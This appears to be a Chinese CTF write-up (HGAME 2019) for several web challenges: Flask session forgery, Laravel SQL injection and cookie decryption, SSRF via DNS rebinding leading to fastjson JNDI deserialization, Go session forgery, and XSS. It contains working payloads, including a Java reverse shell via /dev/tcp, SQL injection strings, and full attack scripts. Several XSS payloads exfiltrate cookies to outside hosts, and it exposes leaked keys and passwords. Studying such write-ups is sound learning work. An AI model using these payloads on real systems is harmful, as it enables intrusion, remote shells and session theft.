<Config {'ENV': 'production', 'DEBUG': False, 'TESTING': False, 'PROPAGATE_EXCEPTIONS': None, 'PRESERVE_CONTEXT_ON_EXCEPTION': None, 'SECRET_KEY': '9RxdzNwq7!nOoK3*', 'PERMANENT_SESSION_LIFETIME': datetime.timedelta(31), 'USE_X_SENDFILE': False, 'SERVER_NAME': None, 'APPLICATION_ROOT': '/', 'SESSION_COOKIE_NAME': 'session', 'SESSION_COOKIE_DOMAIN': False, 'SESSION_COOKIE_PATH': None, 'SESSION_COOKIE_HTTPONLY': True, 'SESSION_COOKIE_SECURE': False, 'SESSION_COOKIE_SAMESITE': None, 'SESSION_REFRESH_EACH_REQUEST': True, 'MAX_CONTENT_LENGTH': None, 'SEND_FILE_MAX_AGE_DEFAULT': datetime.timedelta(0, 43200), 'TRAP_BAD_REQUEST_ERRORS': None, 'TRAP_HTTP_EXCEPTIONS': False, 'EXPLAIN_TEMPLATE_LOADING': False, 'PREFERRED_URL_SCHEME': 'http', 'JSON_AS_ASCII': True, 'JSON_SORT_KEYS': True, 'JSONIFY_PRETTYPRINT_REGULAR': False, 'JSONIFY_MIMETYPE': 'application/json', 'TEMPLATES_AUTO_RELOAD': None, 'MAX_COOKIE_SIZE': 4093, 'CSRF_ENABLED': True, 'SQLALCHEMY_DATABASE_URI': 'mysql+pymysql://hgame:asdkjhiou12312451r2@127.0.0.1:3306/hgame', 'SQLALCHEMY_TRACK_MODIFICATIONS': True, 'WTF_CSRF_ENABLED': True, 'WTF_CSRF_CHECK_DEFAULT': True, 'WTF_CSRF_METHODS': {'PUT', 'DELETE', 'POST', 'PATCH'}, 'WTF_CSRF_FIELD_NAME': 'csrf_token', 'WTF_CSRF_HEADERS': ['X-CSRFToken', 'X-CSRF-Token'], 'WTF_CSRF_TIME_LIMIT': 3600, 'WTF_CSRF_SSL_STRICT': True, 'SQLALCHEMY_BINDS': None, 'SQLALCHEMY_NATIVE_UNICODE': None, 'SQLALCHEMY_ECHO': False, 'SQLALCHEMY_RECORD_QUERIES': None, 'SQLALCHEMY_POOL_SIZE': None, 'SQLALCHEMY_POOL_TIMEOUT': None, 'SQLALCHEMY_POOL_RECYCLE': None, 'SQLALCHEMY_MAX_OVERFLOW': None, 'SQLALCHEMY_COMMIT_ON_TEARDOWN': False}>
得到'SECRET_KEY': '9RxdzNwq7!nOoK3*'
,登录自己注册的账号,解码自己的.session
session=.eJwljztqQzEQAO-i2sXuSlpJvsxjv8QYEnjPrkLubkGa6QZmfsuRZ1xf5f4633Erx8PLvSTRjFoNNakTA_QchoC0fMlmGgtR8kRhI_TRhNb0QJIkWGukkjB5MC9ts4VONOBuFZJy9LU0vfbhlt1osok2ZIXk8A0pt2LXmcfr5xnfuwfFlIMcQEbSVPW05r1ip6W1br9RA-3be19x_k8QcPn7ABDuP70.XHK0ew.2CT1_Vu5Qp8rMbm8ig80dve2-Zg
python2 session_cookie_manager.py decode -c '.eJwljztqQzEQAO-i2sXuSlpJvsxjv8QYEnjPrkLubkGa6QZmfsuRZ1xf5f4633Erx8PLvSTRjFoNNakTA_QchoC0fMlmGgtR8kRhI_TRhNb0QJIkWGukkjB5MC9ts4VONOBuFZJy9LU0vfbhlt1osok2ZIXk8A0pt2LXmcfr5xnfuwfFlIMcQEbSVPW05r1ip6W1br9RA-3be19x_k8QcPn7ABDuP70.XHK0ew.2CT1_Vu5Qp8rMbm8ig80dve2-Zg'
{u'csrf_token': u'1acb6e2d00a7f28bbdfc4d531529b336ca4240b5', u'_fresh': True, u'user_id': u'206', u'_id': u'f228e33c1bf2526005f7c10129d9a129fc6a22f681a6c21d74a298de12af20997fb2a62de669b484eb81c065c30f2f7599bfd357dcf5c286cab416b0f6ed0f6a'}
这里千万不要改其他的东西,就改u'user_id'
字段就可以了,改成 1 后用encode
就行了,这里有师傅说要用 python3 ,因为 timestamp 的原因,可是这里我并没有用 python3 ,直接用 python2 就过了
python2 session_cookie_manager.py encode -s '9RxdzNwq7!nOoK3*' -t "{u'csrf_token': u'1acb6e2d00a7f28bbdfc4d531529b336ca4240b5', u'_fresh': True, u'user_id': u'1', u'_id': u'f228e33c1bf2526005f7c10129d9a129fc6a22f681a6c21d74a298de12af20997fb2a62de669b484eb81c065c30f2f7599bfd357dcf5c286cab416b0f6ed0f6a'}"
{u'csrf_token': u'1acb6e2d00a7f28bbdfc4d531529b336ca4240b5', u'_fresh': True, u'user_id': u'1', u'_id': u'f228e33c1bf2526005f7c10129d9a129fc6a22f681a6c21d74a298de12af20997fb2a62de669b484eb81c065c30f2f7599bfd357dcf5c286cab416b0f6ed0f6a'}
happyPHP
flag 在管理员账号下
http://118.25.18.223:3000/
在看 git 的时候,切记要看一下历史记录,可能会有新收获
源码发现给了 github 仓库https://github.com/Lou00/laravel
,是一套用 laravel 写的
慢慢审计,在laravel/app/Http/Controllers/SessionsController.php
中发现一下代码
public function store(Request $request)
{
$credentials = $this->validate($request, [
'email' => 'required|email|max:100',
'password' => 'required'
]);
if (Auth::attempt($credentials)) {
if (Auth::user()->id ===1){
session()->flash('info','flag :******');
return redirect()->route('users.show');
}
$name = DB::select("SELECT name FROM `users` WHERE `name`='".Auth::user()->name."'");
session()->flash('info', 'hello '.$name[0]->name);
return redirect()->route('users.show');
} else {
session()->flash('danger', 'sorry,login failed');
return redirect()->back()->withInput();
}
}
而整个路由有
Route::get('/', 'StaticPagesController@home')->name('home');
Route::get('/register','UsersController@register')->name('register');
Route::get('/login','UsersController@login')->name('login');
Route::get('/users', 'UsersController@show')->name('users.show');
Route::post('/users', 'UsersController@store')->name('users.store');
Route::post('/login', 'SessionsController@store')->name('login');
Route::get('/logout', 'SessionsController@destroy')->name('logout');
所以我们还是需要登录管理员账号去获取 flag,而且这里的注入点是name
,邮箱唯一,所以我们可以注册一个name=admin' or 1=1;#
的账户测试注入
所以用
admin' union select password FROM `users` WHERE `id`= '1' ORDER BY name DESC;#
得到 admin 的密码
admin' union select email FROM `users` WHERE `id`= '1' ORDER BY name DESC;#
得到 admin 的邮箱admin@hgame.com
a' union select load_file('/etc/passwd') ORDER BY name DESC;#
读取失败
得到
eyJpdiI6InJuVnJxZkN2ZkpnbnZTVGk5ejdLTHc9PSIsInZhbHVlIjoiRWFSXC80ZmxkT0dQMUdcL2FESzhlOHUxQWxkbXhsK3lCM3Mra0JBYW9Qb2RzPSIsIm1hYyI6IjU2ZTJiMzNlY2QyODI4ZmU2ZjQxN2M3ZTk4ZTlhNTg4YzA5N2YwODM0OTllMGNjNzIzN2JjMjc3NDFlODI5YWYifQ==
base64_decode 得到
{"iv":"rnVrqfCvfJgnvSTi9z7KLw==","value":"EaR\/4fldOGP1G\/aDK8e8u1Aldmxl+yB3s+kBAaoPods=","mac":"56e2b33ecd2828fe6f417c7e98e9a588c097f083499e0cc7237bc27741e829af"}
尝试参考Laravel cookie 伪造,解密,和远程命令执行,对id=1
的管理员进行 cookie 伪造,但是无解。
找到一个 php 解密脚本,但是没有$key
,就没办法解密。在而$key
存在于.env
中,我们在github commit
中找到了被删除的.env
,.env中找到APP_KEY=base64:9JiyApvLIBndWT69FUBJ8EQz6xXl5vBs7ofRDm9rogQ=
搜了一下解密脚本,laravel cookie 加解密
<?php
function decode($str,$key){
$payload = json_decode(base64_decode($str), true);
$iv = base64_decode($payload['iv']);
$decrypted = openssl_decrypt($payload['value'], 'AES-256-CBC', $key, 0, $iv);
return unserialize($decrypted);
}
function encode($value,$key){
$iv = random_bytes(openssl_cipher_iv_length('AES-256-CBC'));
$value = openssl_encrypt(serialize($value),'AES-256-CBC', $key, 0, $iv);
$iv = base64_encode($iv);
$mac = hash_hmac('sha256',$iv.$value,$key);
$json = json_encode(compact('iv', 'value', 'mac'));
return base64_encode($json);
}
/**
* .env 里面的 APP_KEY
*/
$key = base64_decode('9JiyApvLIBndWT69FUBJ8EQz6xXl5vBs7ofRDm9rogQ=');
$value = '596|6EvT3jxKRaTwcuj5NEgdnztIjjKDX4lfqz38DGDR4hET8XaEXS35vZTksROl|';
// $str = encode($value,$key).PHP_EOL;
$str = 'eyJpdiI6InJuVnJxZkN2ZkpnbnZTVGk5ejdLTHc9PSIsInZhbHVlIjoiRWFSXC80ZmxkT0dQMUdcL2FESzhlOHUxQWxkbXhsK3lCM3Mra0JBYW9Qb2RzPSIsIm1hYyI6IjU2ZTJiMzNlY2QyODI4ZmU2ZjQxN2M3ZTk4ZTlhNTg4YzA5N2YwODM0OTllMGNjNzIzN2JjMjc3NDFlODI5YWYifQ==';
echo decode($str,$key);
把相关参数填上,得到密码 9pqfPIer0Ir9UUfR,登录admin@hgame.com
得到 flag
这里一开始以为自己破解密码的思路不太对,而且自己之前也没有关注到 commit 找到$key
。还是主要是找脚本不太好找,我尝试了很多个脚本都没有成功解密。后来经过师傅提点才知道确实可以密码破解,就去各种找密码了才搞定。
happyJava
java is not so hard, is it right? hint: spring-boot-actuator
http://119.28.26.122:23333/index
题目设置很简单,目录什么的不存在的,直接访问/hgame_flag
直接返回与其他页面一样的 404 不存在的错误
看了一下Springboot 之 actuator 配置不当的漏洞利用,以及spring boot 2 使用 actuator 404 的问题遍历了敏感路径都是 404 ……1.x 和 2.x 路径都试过了…没啥想法
以下是复现 wp……orz:
actuator 部署时,可以选择与当前项目不同端口
于是扫一波端口可以看到9876
跟31337
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-24 23:36 CST
Nmap scan report for 119.28.26.122
Host is up (0.045s latency).
Not shown: 987 closed ports
PORT STATE SERVICE
22/tcp open ssh
135/tcp filtered msrpc
139/tcp filtered netbios-ssn
445/tcp filtered microsoft-ds
593/tcp filtered http-rpc-epmap
901/tcp filtered samba-swat
1025/tcp filtered NFS-or-IIS
3128/tcp filtered squid-http
4444/tcp filtered krb524
6129/tcp filtered unknown
6667/tcp filtered irc
9876/tcp open sd
31337/tcp open Elite
Nmap done: 1 IP address (1 host up) scanned in 2.31 seconds
31337
应该不是http
服务,于是在9876
扫了一波目录,终于发现了泄露的关键信息,http://119.28.26.122:9876/info
返回了空的json
,http://119.28.26.122:9876/mappings
返回了如下信息
{"/webjars/**":{"bean":"resourceHandlerMapping"},"/**":{"bean":"resourceHandlerMapping"},"/**/favicon.ico":{"bean":"faviconHandlerMapping"},"{[/index],methods=[GET]}":{"bean":"requestMappingHandlerMapping","method":"public java.lang.String me.lightless.happyjava.controller.MainController.Index()"},"{[/you_will_never_find_this_interface],methods=[GET]}":{"bean":"requestMappingHandlerMapping","method":"public java.lang.String me.lightless.happyjava.controller.MainController.YouWillNeverFindThisInterface(java.lang.String)"},"{[/secret_flag_here],methods=[GET]}":{"bean":"requestMappingHandlerMapping","method":"public java.lang.String me.lightless.happyjava.controller.MainController.SecretFlagHere(java.lang.String,javax.servlet.http.HttpServletRequest)"},"{[/error],methods=[GET]}":{"bean":"requestMappingHandlerMapping","method":"public java.lang.String me.lightless.happyjava.controller.ErrorController.ShowCommonError()"},"{[/error],produces=[text/html]}":{"bean":"requestMappingHandlerMapping","method":"public org.springframework.web.servlet.ModelAndView org.springframework.boot.autoconfigure.web.BasicErrorController.errorHtml(javax.servlet.http.HttpServletRequest,javax.servlet.http.HttpServletResponse)"},"{[/error]}":{"bean":"requestMappingHandlerMapping","method":"public org.springframework.http.ResponseEntity<java.util.Map<java.lang.String, java.lang.Object>> org.springframework.boot.autoconfigure.web.BasicErrorController.error(javax.servlet.http.HttpServletRequest)"}}
访问/secret_flag_here
,发现返回
HTTP/1.1 200
X-Application-Context: application:23333
Content-Type: text/html;charset=UTF-8
Content-Length: 87
Date: Sun, 24 Feb 2019 15:57:48 GMT
Connection: close
This is danger interface, only allow request from 127.0.0.1!<br/>Your IP:xxx.xxx.xxx.xxx(已打码)
用以下一梭子 HTTP 头伪造都没有用…
Client-Ip: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Real-IP: 127.0.0.1
True-Client-IP: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Forwarded-Host: 127.0.0.1
应该是要形成 ssrf 或者其他的了吧,尝试继续访问/you_will_never_find_this_interface
,得到
HTTP/1.1 200
X-Application-Context: application:23333
Content-Type: text/html;charset=UTF-8
Content-Length: 20
Date: Sun, 24 Feb 2019 16:00:53 GMT
Connection: close
`url` cant be empty!
尝试访问/you_will_never_find_this_interface?url=1
,返回
emmmmmmm, something went wrong: no protocol: 1
尝试url=http://localhost/you_will_never_find_this_interface
,返回
Dont be evil. Dont request 127.0.0.1.
http%3a//[%3a%3a]%3a23333/you_will_never_find_this_interface
返回 400
http://example.com@127.0.0.1:23333/you_will_never_find_this_interface
http://127.0.0.1.xip.io:23333/you_will_never_find_this_interface
Dont be evil. Dont request 127.0.0.1.
http://127。0。0。1/secret_flag_here
emmmmmmm, something went wrong: Label has two-byte char: 127。0。0。1
http://0x7f000001:23333/secret_flag_here
emmmmmmm, something went wrong: DNS name not found [response code 3]
http://0177.0.0.1:23333/secret_flag_here
emmmmmmm, something went wrong: connect timed out
http://2130706433:23333/secret_flag_here
Dont be evil. Dont request 127.0.0.1.
⓵⓶⓻.⓿.⓿.⓵
emmmmmmm, something went wrong: Label has two-byte char: ⓵⓶⓻
尝试了很多绕过方法都没用,最后只剩下用DNS Rebinding
来进行绕过了
首先了解一波关于 DNS-rebinding 的总结,可以发现有个比较方便的方法,就是设置两个 A 记录,一个指向 127.0.0.1,另外一个指向不是 127.0.0.1 的地址即可。
这里原文解释的不是很清楚,又请教了一下白师傅,才明白两个记录怎么绕过对 127.0.0.1 的检测的。首先第一次 DNS 解析在 waf 处,检查 DNS 记录是否是 127.0.0.1 ,第二次 DNS 解析在 ajax 或者请求我们传入的 url 地址的时候进行的,因为 DNS 随机解析,所以如果第一次解析,解析到了我们设置的非 127.0.0.1 的地址,就可以绕过 waf 对 127.0.0.1 的检测,否则解析到 127.0.0.1 就直接被 waf ,所以第一次通过的概率为 1/2 ;如果第二次解析,也就是在对 url 进行请求的时候,解析到了 127.0.0.1 的话,这次 ssrf 就算成功了,也就达到了我们访问内网地址的目的,如果解析不是 127.0.0.1 的话,那就失败了,所以第二次成功概率也是 1/2 。综述,整个DNS Rebinding
采用两个A
记录绕过的成功概率为 1/2 。
可以看到这里已经成功了。
传入data
参数,因为作为/secret_flag
的参数,这里注意要用urlencode
,看到返回WoW! Convert JSON to object...OK!<br>Result: 1
可以使用fastjson
反序列化搞定,但是使用vulhub
下的fastjson
的 exp 直接就报了 waf
参考FastJson 反序列化漏洞利用笔记#基于 JNDI 的 PoC,构造如下的Exploit.java
,然后编译成.class
文件放在 HTTP 服务端口下提供后续下载
public class Exploit {
public Exploit(){
try {
java.lang.Runtime.getRuntime().exec(
new String[]{"bash", "-c", "bash -c \"sh >& /dev/tcp/your_ip/port 0>&1\""});
} catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
Exploit e = new Exploit();
}
}
在 vps 上下载marshalsec提供ldap
服务,按照步骤mvn clean package -DskipTests
编译好后,
$ java -cp ./target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your_ip:port/#Exploit
在一个端口起一个 HTTP 服务提供受害者下载Exploit.class
,在发送以下 payload
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://your_ip:1389/Exploit","autoCommit":true}
记得二次 urlencode ,成功getshell
happyGo
别问,问就是 cve 改的 flag 在/flag 里 source code:https://pan.baidu.com/s/1wQwqxF6DUr-2AIC_giud0g 提取码: 6v2i
http://94.191.10.201:7000/
复现题 2333……orz
题目提供注册登录功能,登录进来后可以发送消息
也可以修改自己的头像
发现源码有地方
beego.Router("/admin", &controllers.AdminController{})
beego.Router("/admin/user/del/:id([0-9]+", &controllers.UserDelController{})
看到一个比较奇怪的功能,跟进Controller
看看
type AdminController struct {
beego.Controller
}
func (c *AdminController) Get() {
uid := c.GetSession("uid")
if uid == nil {
c.Abort("500")
}
if uid.(int) != 1 {
c.Redirect("/", http.StatusFound)
return
}
o := orm.NewOrm()
u := models.Users{Id:uid.(int)}
us := []models.Users{}
err := o.Read(&u)
if err != nil {
c.Abort("500")
}
_, err = o.QueryTable("users").Filter("id__gt",1).All(&us)
if err != nil {
c.Abort("500")
}
c.Data["Users"] = us
c.Data["Avatar"] = u.Avatar
c.Data["Username"] = u.Username
c.Data["UID"] = u.Id
c.TplName = "admin.tpl"
}
type UserDelController struct {
beego.Controller
}
func (u *UserDelController) Get() {
uid := u.GetSession("uid")
if uid == nil {
u.Abort("500")
}
if uid.(int) != 1 {
u.Redirect("/", http.StatusFound)
return
}
id := u.Ctx.Input.Param(":id")
i, _ := strconv.Atoi(id)
if i == 1 {
u.Redirect("/admin", http.StatusFound)
return
}
o := orm.NewOrm()
user := models.Users{Id:i}
err := o.Read(&user)
if err != nil {
u.Abort("500")
}
if user.Avatar != "/static/img/avatar.jpg" {
os.Remove(user.Avatar)
}
o.QueryTable("messages").Filter("uid", id).Delete()
o.Delete(&user)
u.Redirect("/admin", http.StatusFound)
}
虽然看起来Go
语言有点古怪,但是代码逻辑还是大致懂得,看起来逻辑都比较正常,但是在os.Remove(user.Avatar)
,存在一个越权,因为我们可以控制user.Avatar
,我们就可以删除任意文件了。
还有一个路由就是/install
路由
beego.Router("/install", &controllers.InstallController{})
查看InstallController
type InstallController struct {
beego.Controller
}
func (c *InstallController) Get() {
_, err := os.Stat("conf/app.conf")
if err != nil && os.IsNotExist(err) {
c.TplName = "install.tpl"
} else {
c.Redirect("/", http.StatusFound)
return
}
}
func (c *InstallController) Post() {
_, err := os.Stat("conf/app.conf")
if err != nil && os.IsNotExist(err) {
//pass
} else {
c.Redirect("/", http.StatusFound)
return
}
type data struct {
Host string `form:"host"`
Port string `form:"port"`
Username string `form:"username"`
Password string `form:"password"`
Database string `form:"database"`
}
d := data{}
if err := c.ParseForm(&d); err != nil {
c.Abort("500")
}
s := `[mysql]
username = %s
password = %s
host = %s
port = %s
database = %s
`
err = ioutil.WriteFile("conf/app.conf", []byte(fmt.Sprintf(s, d.Username, d.Password, d.Host, d.Port, d.Database)),0666)
if err != nil {
c.Abort("500")
}
c.Redirect("/", http.StatusFound)
}
根据Read MySQL Client’s File,应该是出题人的博客了吧 2333…
大致我们可以猜测整个流程,登录管理员,删除app.conf
,重新install
,用恶意mysql
服务器读取任意文件。而登录管理员就需要看到在main.go
中的主函数了
func main() {
beego.BConfig.WebConfig.Session.SessionName = "PHPSESSID"
beego.BConfig.WebConfig.Session.SessionProvider="file"
beego.BConfig.WebConfig.Session.SessionProviderConfig = "./tmp"
beego.BConfig.WebConfig.Session.SessionOn = true
beego.Run()
}
搭环境始终没找到catmsg/routers
这个包…蜜汁尴尬,还是放弃了。而且writeup
写的极其简单…并没有详细剖析原理。
贴一下其他师傅的脚本,session
伪造脚本
# coding:utf-8
import requests
import base64
ip="94.191.10.201"
host="http://94.191.10.201:7000"
registerURL = host + "/auth/register"
loginURL = host + "/auth/login"
userinfoURL = host + "/userinfo"
req = requests.session()
# register
registerData={ "username":"ii5am3", "password":"123456", "confirmpass":"123456",}
r = req.post(registerURL,data=registerData)
print("[+] register "+r.text)
# login
loginData={ "username":"ii5am3", "password":"123456",}
r = req.post(loginURL,data=loginData)
print(r"[+] login "+r.text)
# 获取当前登陆用户的sessionID
sessionID = r.request._cookies._cookies[ip]["/"]["PHPSESSID"].value
print(r"[+] sessionID is "+ sessionID)
# 上传session,伪造cookie
newSession = sessionID[0:2]+"5am3"
filename = "../../tmp/%s/%s/%s" %(sessionID[0],sessionID[1],newSession)
# 本地搭建环境,登入uid为1的账号,然后获取他的session的文件即可。在这里我给大家
attackSession = base64.b64decode("Dv+BBAEC/4IAARABEAAAGv+CAAEGc3RyaW5nDAUAA3VpZANpbnQEAgAC")
sessionFiles={"uploadname" : (filename, attackSession)}
r = req.post(userinfoURL,files=sessionFiles)
print(r"[+] newCookie is: PHPSESSID="+ newSession)
伪造服务端脚本:
# coding:utf-8
import requests
import base64
# req表示user1,此时全程用该一个session
req = requests.session()
ip = "94.191.10.201"
host = "http://94.191.10.201:7000"
registerURL = host + "/auth/register"
loginURL= host + "/auth/login"
userinfoURL = host + "/userinfo"
deleteUserURL = host +"/admin/user/del/2"
installURl = host + "/install"
attackCookie = base64.b64decode("Dv+BBAEC/4IAARABEAAAGv+CAAEGc3RyaW5nDAUAA3VpZANpbnQEAgAC")
# register
registerData={ "username":"ii5am3", "password":"123456", "confirmpass":"123456",}
r= req.post(registerURL,data=registerData)
print("[+] register "+r.text)
# login
loginData={ "username":"ii5am3", "password":"123456",}
r = req.post(loginURL,data=loginData)
print(r"[+] login "+r.text)
sessionID= r.request._cookies._cookies[ip]["/"]["PHPSESSID"].value
print(r"[+] sessionID is "+ sessionID)
# 上传session,伪造cookie
newSession = sessionID[0:2]+"5am3"
filename = "../../tmp/%s/%s/%s" %(sessionID[0],sessionID[1],newSession)
sessionFiles={ "uploadname" : (filename, attackCookie)}
r = req.post(userinfoURL,files=sessionFiles)
print(r"[+] newSessionID is "+ newSession)
# 修改头像文件链接。
sessionFiles={ "uploadname" : ("../../conf/app.conf", "12345")}
r = req.post(userinfoURL,files=sessionFiles)
# 新建一个请求,伪造admin进行删除用户
headers={ "Cookie":"PHPSESSID="+newSession}
r = requests.get(deleteUserURL,headers=headers)
# 重新安装环境,将其指向我们的恶意sql服务器。
installData = {
"host":"your_ip",
"port":"your_port",
"username":"hgame", "password":"hgame", "database":"hgame"}
r = requests.post(installURl,installData)
# 再次登录,使其再来一次请求。
loginData={ "username":"ii5am3", "password":"123456",}
r = req.post(loginURL,data=loginData)
print(r"[+] login "+r.text)
读取 flag
HappyXSS
onerror
"
&
svg
onload
onerror
'
随手fuzz
了一下,发现以上关键字会被替换为Happy !
<marquee onstart=alert(1)>
<marquee onstart=eval(atob('YWxlcnQoMSk='))>
<marquee onstart=eval(atob('some base64 code'))>
用<marquee>
虽然可以绕,但是Chrome
不支持这个标签了,可能这题也用的是Chromeless
,然后发现还有CSP
策略。
HTTP/1.1 200 OK
Date: Fri, 22 Feb 2019 10:32:21 GMT
Server: Apache/2.4.29 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval'; style-src *
X-XSS-Protection: 0
Vary: Accept-Encoding
Content-Length: 1353
Connection: close
Content-Type: text/html; charset=UTF-8
最后我用<body onpageshow
进行了绕过
<body onpageshow=eval(atob('ZnJhbWU9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiaWZyYW1lIik7CmRvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoZnJhbWUpOwpzY3JpcHQ9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgnc2NyaXB0Jyk7CnNjcmlwdC5zcmM9Jy8veHNzcHQuY29tL0d2eE5Qbic7CndpbmRvdy5mcmFtZXNbMF0uZG9jdW1lbnQuaGVhZC5hcHBlbmRDaGlsZChzY3JpcHQpOw=='))>
Base64 内容:
frame=document.createElement("iframe");
document.body.appendChild(frame);
script=document.createElement('script');
script.src='//xsspt.com/GvxNPn';
window.frames[0].document.head.appendChild(script);
但是以上不能绕CSP
策略,可以用window.location
绕过
<body onpageshow=eval(atob('d2luZG93LmxvY2F0aW9uPSJodHRwOi8veW91cl9pcDpwb3J0P2M9Iitkb2N1bWVudC5jb29raWU7'))>
base64 内容:
window.location="http://your_ip:port?c="+document.cookie;
再给几个其他师傅绕过的 payload :
利用window.open
,不过用的是<script >
绕过关键字检测
<script>window.open('http://149.248.6.227:1150/XSS.php?cookie='+document.cookie)</script>
<script >eval(String.fromCharCode(119,105,110,100,111,119,46,111,112,101,110,40,39,104,116,116,112,58,47,47,49,52,57,46,50,52,56,46,54,46,50,50,55,58,49,49,53,48,47,88,83,83,46,112,104,112,63,99,111,111,107,105,101,61,39,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41))</script >
还有的用<input onfous
绕过
<input onfocus=javascript:eval(String.fromCharCode(119,105,110,100,111,119,46,108,111,99,97,116,105,111,110,46,104,114,101,102,61,34,104,116,116,112,58,47,47,49,50,55,46,48,46,48,46,49,58,50,53,48,48,48,47,63,115,61,34,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,59)); autofocus>